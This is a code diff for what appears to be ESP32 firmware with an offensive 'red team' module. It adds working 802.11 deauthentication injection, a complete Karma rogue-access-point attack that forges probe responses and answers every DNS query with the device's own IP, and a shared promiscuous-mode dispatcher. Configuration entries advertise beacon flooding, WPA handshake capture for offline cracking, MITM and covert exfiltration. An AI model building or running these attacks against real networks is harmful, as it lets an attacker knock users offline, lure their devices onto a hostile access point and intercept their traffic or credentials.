memcpy(s_params.client, client, 6);
s_params.broadcast = false;
}
s_params.channel = channel;
s_params.count = count;
s_params.delay_ms = delay_ms;
atomic_store(&s_active, true);
xTaskCreatePinnedToCore(
deauth_task,
"rt_deauth",
4096,
&s_params,
6,
&s_task,
1 /* Core 1 */
);
}
void rt_deauth_stop(void)
{
atomic_store(&s_active, false);
/* Task will self-delete and release the attack lock */
}
bool rt_deauth_is_active(void)
{
return atomic_load(&s_active);
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,36 @@
/*
* rt_deauth.h
* 802.11 deauthentication frame injection.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/*
* Start sending deauth frames.
* bssid target AP BSSID (6 bytes)
* client target client MAC, or NULL/broadcast for all clients
* channel WiFi channel (1-13), 0 = auto-detect from scan
* count number of frames to send, 0 = continuous until stop
* delay_ms delay between bursts (default 10)
*/
void rt_deauth_start(const uint8_t bssid[6],
const uint8_t *client,
uint8_t channel,
uint32_t count,
uint32_t delay_ms);
/* Stop the deauth task. */
void rt_deauth_stop(void);
/* True if deauth task is running. */
bool rt_deauth_is_active(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,598 @@
/*
* rt_karma.c
* Karma attack listens for WiFi probe requests in promiscuous mode,
* responds with probe responses matching the requested SSID, then
* starts a rogue SoftAP with the most-requested SSID.
*
* Self-contained: does NOT depend on mod_fakeAP. Uses its own
* minimal SoftAP + DNS responder.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_KARMA)
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_random.h"
#include "esp_timer.h"
#include "esp_netif.h"
#include "lwip/sockets.h"
#include "lwip/dns.h"
#include "esp_event.h"
#include "rt_karma.h"
#include "rt_promisc.h"
#include "rt_attack.h"
#define TAG "RT_KARMA"
/* ============================================================
* IEEE 802.11 frame helpers
* ============================================================ */
/* Management frame header (24 bytes) */
typedef struct __attribute__((packed)) {
uint16_t frame_ctrl;
uint16_t duration;
uint8_t addr1[6]; /* destination */
uint8_t addr2[6]; /* source (our BSSID) */
uint8_t addr3[6]; /* BSSID */
uint16_t seq_ctrl;
} mgmt_hdr_t;
_Static_assert(sizeof(mgmt_hdr_t) == 24, "mgmt header must be 24 bytes");
/* Probe Response fixed fields (12 bytes) */
typedef struct __attribute__((packed)) {
uint64_t timestamp;
uint16_t beacon_interval; /* 0x0064 = 100 TU */
uint16_t capability; /* 0x0421 = ESS + short preamble + short slot */
} probe_resp_fixed_t;
_Static_assert(sizeof(probe_resp_fixed_t) == 12, "probe resp fixed fields must be 12 bytes");
/* ============================================================
* State
* ============================================================ */
static atomic_bool s_active = ATOMIC_VAR_INIT(false);
static TaskHandle_t s_task = NULL;
static TaskHandle_t s_dns_task = NULL;
/* Our fake BSSID (generated at start) */
static uint8_t s_bssid[6];
/* Client tracking — circular buffer */
static rt_karma_client_t s_clients[RT_KARMA_MAX_CLIENTS];
static int s_client_count = 0;
/* Most popular SSID for SoftAP */
static char s_top_ssid[33] = {0};
/* SoftAP netif handle */
static esp_netif_t *s_ap_netif = NULL;
/* ============================================================
* Client tracking
* ============================================================ */
static int find_client(const uint8_t mac[6])
{
for (int i = 0; i < s_client_count; i++) {
if (memcmp(s_clients[i].mac, mac, 6) == 0)
return i;
}
return -1;
}
static void track_client(const uint8_t mac[6], const char *ssid)
{
int64_t now = esp_timer_get_time() / 1000;
int idx = find_client(mac);
if (idx >= 0) {
/* Update existing */
s_clients[idx].last_seen_ms = now;
if (ssid[0] && strcmp(s_clients[idx].ssid, ssid) != 0) {
strncpy(s_clients[idx].ssid, ssid, 32);
s_clients[idx].ssid[32] = '\0';
}
return;
}
/* Add new — circular overwrite if full */
idx = s_client_count;
if (idx >= RT_KARMA_MAX_CLIENTS) {
idx = 0; /* overwrite oldest */
/* Shift is expensive; just overwrite slot 0 for simplicity */
} else {
s_client_count++;
}
memcpy(s_clients[idx].mac, mac, 6);
strncpy(s_clients[idx].ssid, ssid, 32);
s_clients[idx].ssid[32] = '\0';
s_clients[idx].first_seen_ms = now;
s_clients[idx].last_seen_ms = now;
s_clients[idx].connected = false;
ESP_LOGI(TAG, "New probe from %02X:%02X:%02X:%02X:%02X:%02X for '%s'",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], ssid);
}
/* ============================================================
* Build and send probe response
* ============================================================ */
static void send_probe_response(const uint8_t dst[6], const char *ssid, uint8_t channel)
{
size_t ssid_len = strlen(ssid);
if (ssid_len > 32) ssid_len = 32;
/* Supported rates IE (mandatory) */
static const uint8_t rates[] = { 0x82, 0x84, 0x8B, 0x96,
0x0C, 0x12, 0x18, 0x24 };
/* Frame layout:
* mgmt_hdr(24) + fixed(12) + SSID IE(2+len) + rates IE(2+8) + DS IE(2+1) */
size_t frame_len = sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t)
+ 2 + ssid_len + 2 + sizeof(rates) + 2 + 1;
uint8_t frame[128]; /* max needed ~80 bytes */
if (frame_len > sizeof(frame)) return;
memset(frame, 0, sizeof(frame));
/* Header: probe response = type 0, subtype 5 → frame_ctrl = 0x0050 */
mgmt_hdr_t *hdr = (mgmt_hdr_t *)frame;
hdr->frame_ctrl = 0x0050;
memcpy(hdr->addr1, dst, 6);
memcpy(hdr->addr2, s_bssid, 6);
memcpy(hdr->addr3, s_bssid, 6);
/* Fixed fields */
probe_resp_fixed_t *fixed = (probe_resp_fixed_t *)(frame + sizeof(mgmt_hdr_t));
fixed->timestamp = 0; /* driver fills this */
fixed->beacon_interval = 0x0064; /* 100 TU */
fixed->capability = 0x0421; /* ESS + short preamble + short slot */
/* Tagged parameters */
uint8_t *ie = frame + sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t);
/* SSID IE (tag 0) */
*ie++ = 0x00;
*ie++ = (uint8_t)ssid_len;
memcpy(ie, ssid, ssid_len);
ie += ssid_len;
/* Supported rates IE (tag 1) */
*ie++ = 0x01;
*ie++ = sizeof(rates);
memcpy(ie, rates, sizeof(rates));
ie += sizeof(rates);
/* DS Parameter Set IE (tag 3) — current channel */
*ie++ = 0x03;
*ie++ = 0x01;
*ie++ = channel;
esp_wifi_80211_tx(WIFI_IF_STA, frame, frame_len, false);
}
/* ============================================================
* Promiscuous callback capture probe requests
* ============================================================ */
static void IRAM_ATTR karma_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (type != WIFI_PKT_MGMT) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
const uint8_t *payload = pkt->payload;
/* Frame control */
uint16_t fc = payload[0] | (payload[1] << 8);
uint8_t subtype = (fc >> 4) & 0x0F;
/* Probe request = type 0 (mgmt), subtype 4 */
if (subtype != 4) return;
/* Extract source MAC (addr2, offset 10) */
const uint8_t *src_mac = payload + 10;
/* Skip our own BSSID */
if (memcmp(src_mac, s_bssid, 6) == 0) return;
/* Parse SSID IE from body (offset 24 for mgmt frames) */
size_t body_start = 24;
size_t pkt_len = pkt->rx_ctrl.sig_len;
if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
if (pkt_len <= body_start + 2) return;
const uint8_t *body = payload + body_start;
size_t body_len = pkt_len - body_start;
/* First IE should be SSID (tag 0) */
if (body[0] != 0x00) return;
uint8_t ssid_len = body[1];
if (ssid_len == 0 || ssid_len > 32) return; /* skip broadcast probes */
if (2 + ssid_len > body_len) return;
char ssid[33];
memcpy(ssid, body + 2, ssid_len);
ssid[ssid_len] = '\0';
/* Track this client */
track_client(src_mac, ssid);
/* Respond with a probe response matching their SSID */
send_probe_response(src_mac, ssid, pkt->rx_ctrl.channel);
}
/* Handler for the promiscuous dispatcher */
static const rt_promisc_handler_t s_karma_handler = {
.cb = karma_promisc_cb,
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT,
.tag = "karma",
};
/* ============================================================
* Mini DNS responder responds our AP IP for all queries
* ============================================================ */
static void dns_responder_task(void *arg)
{
(void)arg;
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sock < 0) {
ESP_LOGE(TAG, "DNS socket failed");
vTaskDelete(NULL);
return;
}
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(53),
.sin_addr.s_addr = INADDR_ANY,
};
int opt = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
ESP_LOGE(TAG, "DNS bind failed");
close(sock);
vTaskDelete(NULL);
return;
}
/* Our AP IP = 192.168.4.1 */
uint8_t ap_ip[4] = {192, 168, 4, 1};
uint8_t buf[512];
struct sockaddr_in client_addr;
socklen_t client_len;
while (atomic_load(&s_active)) {
client_len = sizeof(client_addr);
int n = recvfrom(sock, buf, sizeof(buf), 0,
(struct sockaddr *)&client_addr, &client_len);
if (n < 12) continue; /* too short for DNS header */
/* Build a minimal DNS response:
* - Copy transaction ID
* - Set flags: response + recursion available
* - Copy the question section
* - Append a single A record answer
*/
uint8_t resp[512];
int resp_len = 0;
/* Transaction ID (2 bytes) */
resp[0] = buf[0];
resp[1] = buf[1];
/* Flags: standard response, no error */
resp[2] = 0x81; /* QR=1, RD=1 */
resp[3] = 0x80; /* RA=1 */
/* Questions: 1, Answers: 1, Authority: 0, Additional: 0 */
resp[4] = 0x00; resp[5] = 0x01; /* QDCOUNT */
resp[6] = 0x00; resp[7] = 0x01; /* ANCOUNT */
resp[8] = 0x00; resp[9] = 0x00; /* NSCOUNT */
resp[10] = 0x00; resp[11] = 0x00; /* ARCOUNT */
resp_len = 12;
/* Copy the question section from the request */
int q_start = 12;
int q_pos = q_start;
/* Walk past the QNAME (labels terminated by 0x00) */
while (q_pos < n && buf[q_pos] != 0x00) {
q_pos += 1 + buf[q_pos]; /* skip label */
}
q_pos++; /* skip the 0x00 terminator */
q_pos += 4; /* skip QTYPE(2) + QCLASS(2) */
int q_len = q_pos - q_start;
if (resp_len + q_len > (int)sizeof(resp) - 16) {
continue; /* too long */
}
memcpy(resp + resp_len, buf + q_start, q_len);
resp_len += q_len;
/* Answer: pointer to QNAME + A record */
resp[resp_len++] = 0xC0; /* name pointer */
resp[resp_len++] = 0x0C; /* offset 12 = start of question */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* TYPE A */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* CLASS IN */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x00;
resp[resp_len++] = 0x00; resp[resp_len++] = 0x3C; /* TTL = 60s */
resp[resp_len++] = 0x00; resp[resp_len++] = 0x04; /* RDLENGTH = 4 */
memcpy(resp + resp_len, ap_ip, 4);
resp_len += 4;
sendto(sock, resp, resp_len, 0,
(struct sockaddr *)&client_addr, client_len);
}
close(sock);
s_dns_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Find the most-requested SSID
* ============================================================ */
static void find_top_ssid(void)
{
/* Simple frequency count on client SSIDs */
typedef struct { char ssid[33]; int count; } freq_t;
freq_t freq[RT_KARMA_MAX_CLIENTS];
int freq_count = 0;
for (int i = 0; i < s_client_count; i++) {
if (s_clients[i].ssid[0] == '\0') continue;
bool found = false;
for (int j = 0; j < freq_count; j++) {
if (strcmp(freq[j].ssid, s_clients[i].ssid) == 0) {
freq[j].count++;
found = true;
break;
}
}
if (!found && freq_count < RT_KARMA_MAX_CLIENTS) {
strncpy(freq[freq_count].ssid, s_clients[i].ssid, 32);
freq[freq_count].ssid[32] = '\0';
freq[freq_count].count = 1;
freq_count++;
}
}
/* Find max */
int max_count = 0;
for (int i = 0; i < freq_count; i++) {
if (freq[i].count > max_count) {
max_count = freq[i].count;
strncpy(s_top_ssid, freq[i].ssid, 32);
s_top_ssid[32] = '\0';
}
}
}
/* ============================================================
* Start SoftAP with the top SSID
* ============================================================ */
static esp_err_t start_rogue_ap(const char *ssid)
{
/* Switch to AP+STA mode */
esp_err_t ret = esp_wifi_set_mode(WIFI_MODE_APSTA);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Failed to set APSTA mode: %s", esp_err_to_name(ret));
return ret;
}
/* Create AP netif if needed */
if (!s_ap_netif) {
s_ap_netif = esp_netif_create_default_wifi_ap();
}
wifi_config_t ap_cfg = {
.ap = {
.channel = 1,
.max_connection = 4,
.authmode = WIFI_AUTH_OPEN,
},
};
strncpy((char *)ap_cfg.ap.ssid, ssid, sizeof(ap_cfg.ap.ssid) - 1);
ap_cfg.ap.ssid_len = strlen(ssid);
ret = esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "AP config failed: %s", esp_err_to_name(ret));
return ret;
}
ESP_LOGI(TAG, "Rogue AP started: SSID='%s'", ssid);
return ESP_OK;
}
static void stop_rogue_ap(void)
{
esp_wifi_set_mode(WIFI_MODE_STA);
ESP_LOGI(TAG, "Rogue AP stopped");
}
/* ============================================================
* Main karma task
* ============================================================ */
static void karma_task(void *arg)
{
uint32_t duration_s = (uint32_t)(uintptr_t)arg;
/* Generate a random locally-administered BSSID */
esp_fill_random(s_bssid, 6);
s_bssid[0] &= 0xFE; /* unicast */
s_bssid[0] |= 0x02; /* locally administered */
/* Reset client list */
s_client_count = 0;
memset(s_clients, 0, sizeof(s_clients));
s_top_ssid[0] = '\0';
/* Register with promiscuous dispatcher */
esp_err_t ret = rt_promisc_register(&s_karma_handler);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promisc register failed");
rt_attack_stop();
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
return;
}
rt_promisc_enable();
ESP_LOGI(TAG, "Karma listening (BSSID=%02X:%02X:%02X:%02X:%02X:%02X, duration=%s)",
s_bssid[0], s_bssid[1], s_bssid[2],
s_bssid[3], s_bssid[4], s_bssid[5],
duration_s ? "timed" : "continuous");
/* Phase 1: Listen for probes (5s or until we have clients) */
int listen_ms = 5000;
int elapsed = 0;
while (atomic_load(&s_active) && elapsed < listen_ms) {
vTaskDelay(pdMS_TO_TICKS(500));
elapsed += 500;
}
if (!atomic_load(&s_active)) goto cleanup;
/* Phase 2: Start rogue AP with the most-requested SSID */
if (s_client_count > 0) {
find_top_ssid();
if (s_top_ssid[0]) {
start_rogue_ap(s_top_ssid);
/* Start DNS responder */
xTaskCreatePinnedToCore(dns_responder_task, "karma_dns",
3072, NULL, 5, &s_dns_task, 1);
}
} else {
ESP_LOGI(TAG, "No probes captured, continuing to listen...");
}
/* Phase 3: Keep running — continue responding to probes */
if (duration_s > 0) {
uint32_t remaining_ms = (duration_s * 1000) - elapsed;
uint32_t waited = 0;
while (atomic_load(&s_active) && waited < remaining_ms) {
vTaskDelay(pdMS_TO_TICKS(1000));
waited += 1000;
/* Periodically update the AP SSID if a new top SSID emerges */
if (waited % 10000 == 0 && s_client_count > 0) {
char old[33];
strncpy(old, s_top_ssid, 32);
old[32] = '\0';
find_top_ssid();
if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
start_rogue_ap(s_top_ssid);
}
}
}
} else {
/* Continuous mode */
while (atomic_load(&s_active)) {
vTaskDelay(pdMS_TO_TICKS(1000));
/* Update AP SSID every 10s if needed */
static uint32_t ticker = 0;
ticker++;
if (ticker % 10 == 0 && s_client_count > 0) {
char old[33];
strncpy(old, s_top_ssid, 32);
old[32] = '\0';
find_top_ssid();
if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
start_rogue_ap(s_top_ssid);
}
}
}
}
cleanup:
/* Stop DNS responder */
if (s_dns_task) {
/* dns task checks s_active and will exit */
vTaskDelay(pdMS_TO_TICKS(200));
}
rt_promisc_unregister(&s_karma_handler);
rt_promisc_disable();
stop_rogue_ap();
rt_attack_stop();
ESP_LOGI(TAG, "Karma stopped: %d clients tracked", s_client_count);
atomic_store(&s_active, false);
s_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void rt_karma_start(uint32_t duration_s)
{
if (atomic_load(&s_active)) {
ESP_LOGW(TAG, "Karma already running");
return;
}
if (rt_attack_start(RT_ATTACK_KARMA) != ESP_OK) {
ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
rt_attack_name());
return;
}
atomic_store(&s_active, true);
xTaskCreatePinnedToCore(
karma_task,
"rt_karma",
6144,
(void *)(uintptr_t)duration_s,
6,
&s_task,
1 /* Core 1 */
);
}
void rt_karma_stop(void)
{
atomic_store(&s_active, false);
}
bool rt_karma_is_active(void)
{
return atomic_load(&s_active);
}
int rt_karma_get_clients(rt_karma_client_t *out, int max_count)
{
int count = s_client_count;
if (count > max_count) count = max_count;
memcpy(out, s_clients, count * sizeof(rt_karma_client_t));
return count;
}
#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_KARMA */

View File

@ -0,0 +1,43 @@
/*
* rt_karma.h
* Karma attack respond to WiFi probe requests with matching SSIDs
* to lure clients into connecting to our rogue AP.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
#define RT_KARMA_MAX_CLIENTS 32
/* Info about a client that sent a probe request */
typedef struct {
uint8_t mac[6];
char ssid[33]; /* SSID they were looking for */
int64_t first_seen_ms;
int64_t last_seen_ms;
bool connected; /* true if they connected to our AP */
} rt_karma_client_t;
/*
* Start karma listener.
* duration_s 0 = run until rt_karma_stop(), >0 = auto-stop after N seconds
*/
void rt_karma_start(uint32_t duration_s);
/* Stop karma and tear down the rogue AP. */
void rt_karma_stop(void);
/* True if karma is running. */
bool rt_karma_is_active(void);
/* Get list of clients that sent probe requests. Returns count. */
int rt_karma_get_clients(rt_karma_client_t *out, int max_count);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,201 @@
/*
* rt_promisc.c
* Shared promiscuous mode dispatcher.
*
* Multiplexes up to RT_PROMISC_MAX_HANDLERS consumers behind a single
* IRAM callback registered with esp_wifi_set_promiscuous_rx_cb().
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdatomic.h>
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "rt_promisc.h"
#define TAG "RT_PROMISC"
/* ============================================================
* Internal state
* ============================================================ */
static rt_promisc_handler_t s_handlers[RT_PROMISC_MAX_HANDLERS];
static int s_handler_count = 0;
static SemaphoreHandle_t s_mutex = NULL;
static atomic_bool s_enabled = ATOMIC_VAR_INIT(false);
static bool s_inited = false;
/* ============================================================
* IRAM dispatcher called from WiFi driver context
* ============================================================ */
static void IRAM_ATTR promisc_dispatcher(void *buf, wifi_promiscuous_pkt_type_t type)
{
/*
* We iterate without taking the mutex because:
* - This runs in IRAM from the WiFi RX ISR context
* - s_handler_count is only modified while promiscuous is disabled
* - Handlers are only added/removed via register/unregister which
* require the caller to disable promiscuous first (or accept races
* on the count benign: worst case a handler is skipped once).
*/
int n = s_handler_count;
for (int i = 0; i < n; i++) {
if (s_handlers[i].cb) {
s_handlers[i].cb(buf, type);
}
}
}
/* ============================================================
* Public API
* ============================================================ */
void rt_promisc_init(void)
{
if (s_inited) return;
s_mutex = xSemaphoreCreateMutex();
configASSERT(s_mutex);
memset(s_handlers, 0, sizeof(s_handlers));
s_handler_count = 0;
s_inited = true;
ESP_LOGI(TAG, "Promiscuous dispatcher initialised (max %d handlers)",
RT_PROMISC_MAX_HANDLERS);
}
esp_err_t rt_promisc_register(const rt_promisc_handler_t *h)
{
if (!h || !h->cb) return ESP_ERR_INVALID_ARG;
if (!s_inited) rt_promisc_init();
xSemaphoreTake(s_mutex, portMAX_DELAY);
/* Check for duplicates */
for (int i = 0; i < s_handler_count; i++) {
if (s_handlers[i].cb == h->cb) {
xSemaphoreGive(s_mutex);
ESP_LOGW(TAG, "Handler '%s' already registered", h->tag ? h->tag : "?");
return ESP_OK;
}
}
if (s_handler_count >= RT_PROMISC_MAX_HANDLERS) {
xSemaphoreGive(s_mutex);
ESP_LOGE(TAG, "Handler table full (%d/%d)", s_handler_count,
RT_PROMISC_MAX_HANDLERS);
return ESP_ERR_NO_MEM;
}
s_handlers[s_handler_count] = *h;
s_handler_count++;
ESP_LOGI(TAG, "Registered handler '%s' (filter=0x%04"PRIx32") [%d/%d]",
h->tag ? h->tag : "?", h->filter_mask,
s_handler_count, RT_PROMISC_MAX_HANDLERS);
xSemaphoreGive(s_mutex);
return ESP_OK;
}
esp_err_t rt_promisc_unregister(const rt_promisc_handler_t *h)
{
if (!h || !h->cb) return ESP_ERR_INVALID_ARG;
if (!s_inited) return ESP_ERR_INVALID_STATE;
xSemaphoreTake(s_mutex, portMAX_DELAY);
for (int i = 0; i < s_handler_count; i++) {
if (s_handlers[i].cb == h->cb) {
/* Shift remaining entries down */
for (int j = i; j < s_handler_count - 1; j++) {
s_handlers[j] = s_handlers[j + 1];
}
s_handler_count--;
memset(&s_handlers[s_handler_count], 0, sizeof(rt_promisc_handler_t));
ESP_LOGI(TAG, "Unregistered handler '%s' [%d/%d]",
h->tag ? h->tag : "?",
s_handler_count, RT_PROMISC_MAX_HANDLERS);
xSemaphoreGive(s_mutex);
return ESP_OK;
}
}
xSemaphoreGive(s_mutex);
ESP_LOGW(TAG, "Handler '%s' not found", h->tag ? h->tag : "?");
return ESP_ERR_NOT_FOUND;
}
esp_err_t rt_promisc_enable(void)
{
if (!s_inited) rt_promisc_init();
xSemaphoreTake(s_mutex, portMAX_DELAY);
/* Combine filters from all registered handlers */
uint32_t combined = 0;
for (int i = 0; i < s_handler_count; i++) {
combined |= s_handlers[i].filter_mask;
}
/* If no handlers registered but caller still wants promisc (e.g. for TX),
* default to management frames */
if (combined == 0) {
combined = WIFI_PROMIS_FILTER_MASK_MGMT;
}
xSemaphoreGive(s_mutex);
/* Set the single dispatcher callback */
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(promisc_dispatcher);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(ret));
return ret;
}
wifi_promiscuous_filter_t filter = { .filter_mask = combined };
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
if (ret == ESP_OK) {
atomic_store(&s_enabled, true);
ESP_LOGI(TAG, "Promiscuous enabled (filter=0x%04"PRIx32")", combined);
} else {
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(ret));
}
return ret;
}
esp_err_t rt_promisc_disable(void)
{
esp_err_t ret = esp_wifi_set_promiscuous(false);
if (ret == ESP_OK) {
atomic_store(&s_enabled, false);
ESP_LOGI(TAG, "Promiscuous disabled");
}
return ret;
}
esp_err_t rt_promisc_set_channel(uint8_t channel)
{
if (channel < 1 || channel > 14) return ESP_ERR_INVALID_ARG;
return esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
}
bool rt_promisc_is_enabled(void)
{
return atomic_load(&s_enabled);
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,53 @@
/*
* rt_promisc.h
* Shared promiscuous mode dispatcher.
*
* ESP32 supports only one promiscuous RX callback at a time. This module
* multiplexes multiple consumers (stealth scan, karma, capture, ...) behind
* a single IRAM callback and manages channel / enable state.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include "esp_err.h"
#include "esp_wifi_types.h"
#ifdef __cplusplus
extern "C" {
#endif
#define RT_PROMISC_MAX_HANDLERS 4
typedef void (*rt_promisc_cb_t)(void *buf, wifi_promiscuous_pkt_type_t type);
typedef struct {
rt_promisc_cb_t cb; /* callback (should be IRAM-safe) */
uint32_t filter_mask; /* WIFI_PROMIS_FILTER_MASK_* */
const char *tag; /* debug label */
} rt_promisc_handler_t;
/* Initialise the dispatcher (call once, idempotent). */
void rt_promisc_init(void);
/* Register a handler. Returns ESP_ERR_NO_MEM if table is full. */
esp_err_t rt_promisc_register(const rt_promisc_handler_t *h);
/* Unregister a handler (matched by callback pointer). */
esp_err_t rt_promisc_unregister(const rt_promisc_handler_t *h);
/* Enable promiscuous mode with the combined filter of all registered handlers. */
esp_err_t rt_promisc_enable(void);
/* Disable promiscuous mode. */
esp_err_t rt_promisc_disable(void);
/* Switch to a specific WiFi channel (1-14). */
esp_err_t rt_promisc_set_channel(uint8_t channel);
/* True if promiscuous mode is currently active. */
bool rt_promisc_is_enabled(void);
#ifdef __cplusplus
}
#endif

View File

@ -14,6 +14,8 @@
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "rt_promisc.h"
static const char *TAG = "RT_STEALTH";
/* ============================================================
@ -199,30 +201,32 @@ static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t typ
s_scan_count++;
}
/* Handler descriptor for the promiscuous dispatcher */
static const rt_promisc_handler_t s_scan_handler = {
.cb = passive_scan_cb,
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT,
.tag = "stealth_scan",
};
int rt_stealth_passive_scan(int duration_ms)
{
s_scan_count = 0;
memset(s_scan_results, 0, sizeof(s_scan_results));
/* Enable promiscuous mode */
/* Register our callback with the shared dispatcher */
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(100));
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
esp_err_t ret = rt_promisc_register(&s_scan_handler);
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
ESP_LOGE(TAG, "Promisc register failed: %s", esp_err_to_name(ret));
return 0;
}
/* Filter management frames only (beacons, probe responses) */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
};
esp_wifi_set_promiscuous_filter(&filter);
ret = esp_wifi_set_promiscuous(true);
ret = rt_promisc_enable();
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
ESP_LOGE(TAG, "Promisc enable failed: %s", esp_err_to_name(ret));
rt_promisc_unregister(&s_scan_handler);
return 0;
}
@ -235,14 +239,15 @@ int rt_stealth_passive_scan(int duration_ms)
while (elapsed < duration_ms) {
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
rt_promisc_set_channel(ch);
vTaskDelay(pdMS_TO_TICKS(hop_ms));
elapsed += hop_ms;
}
}
/* Disable promiscuous mode */
esp_wifi_set_promiscuous(false);
/* Cleanup: unregister and disable if we were the only user */
rt_promisc_unregister(&s_scan_handler);
rt_promisc_disable();
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
return s_scan_count;

View File

@ -160,6 +160,44 @@ config MODULE_REDTEAM
Offensive red team capabilities: WiFi attacks,
network MITM, covert exfiltration, implant management.
menu "Red Team Settings"
depends on MODULE_REDTEAM
config RT_STEALTH
bool "Stealth features (MAC random, low TX, passive scan)"
default y
config RT_MESH
bool "ESP-NOW mesh relay between agents"
default n
config RT_DEAUTH
bool "802.11 deauth frame injection"
default y
help
Send deauthentication frames to disconnect clients from APs.
config RT_BEACON
bool "802.11 beacon flood"
default y
help
Spam fake beacon frames to flood WiFi scanners with bogus SSIDs.
config RT_KARMA
bool "Karma attack (fake AP from probe requests)"
default y
help
Listen for probe requests and respond as the requested AP.
Lures clients into connecting to our rogue access point.
config RT_CAPTURE
bool "WPA 4-way handshake capture"
default y
help
Capture WPA/WPA2 EAPOL handshake frames for offline cracking.
endmenu
config MODULE_CANBUS
bool "CAN Bus Module (MCP2515)"
default n